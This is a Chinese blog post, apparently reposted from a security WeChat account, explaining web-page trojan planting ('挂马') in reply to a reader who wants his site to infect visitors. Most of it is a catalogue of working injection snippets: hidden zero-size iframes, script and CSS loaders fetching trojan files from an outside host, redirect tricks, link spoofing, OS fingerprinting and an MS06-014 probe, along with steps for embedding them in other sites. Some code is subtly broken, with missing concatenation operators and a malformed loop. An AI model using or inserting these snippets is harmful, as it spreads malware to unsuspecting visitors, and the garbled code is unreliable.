前言
最近整理了一些奇安信&华为&深信服大佬的课件资料 大厂面试课题,想要的可以私信自取,无偿赠送给粉丝朋友~
网页挂马的原理和实现方式今天,有一位网友问了我一个问题,他自己已经有了网站了,现在他想做成“挂马”这种网站,只要打开它,电脑就有可能感染木马病毒。
木马是需要触发才有效果的,触发条件:要么欺骗用户主动,要么利用漏洞。可能他对木马、挂马、网马这些不是很理解,因此我特意发了此篇文章。
一、挂马、网马介绍1、挂马
从“挂马”这个词中就知道,它和“木马”脱离不了关系,的确,挂马的目的就是将木马传播出去。
黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。
2、网马
网马,即“网页木马”,就是将木马和网页结合在一起,当打开网页的时候就会自动下载并运行其木马程序。
二、网页木马运行原理最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。
目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。
三、网页挂马步骤当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器......等等。
1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为“http://www.xxx.com/xxx”;
2、上传木马程序:上传完成后木马的访问地址为“http://www.xxx.com/horse.exe”;
3、使用网页木马生成器生成网马:假如生成后网马地址为“http://www.xxx.com/horse.htm”;
4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面,假如嵌入到腾讯的主页“http://www.qq.com/index.htm”;
四、网页挂马的实现方式1、框架挂马
<iframe src=地址 width=0 height=0></iframe>
2、JS文件挂马
首先将以下代码:
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js。
则JS挂马代码为:
<script language=javascript src=xxx.js></script>
3、JS变形加密
<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>
muma.txt可改成任意后缀;
4、body挂马
<body onload="window.location='地址';"></body>
5、隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';
6、css挂马
body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}
7、JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
8、图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
9、伪装调用
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
10、高级欺骗
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
11、判断系统代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
12、判断是否有ms06014代码
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
13、智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/" u_num ".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i ){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
文章来源公众号:程哥讲安全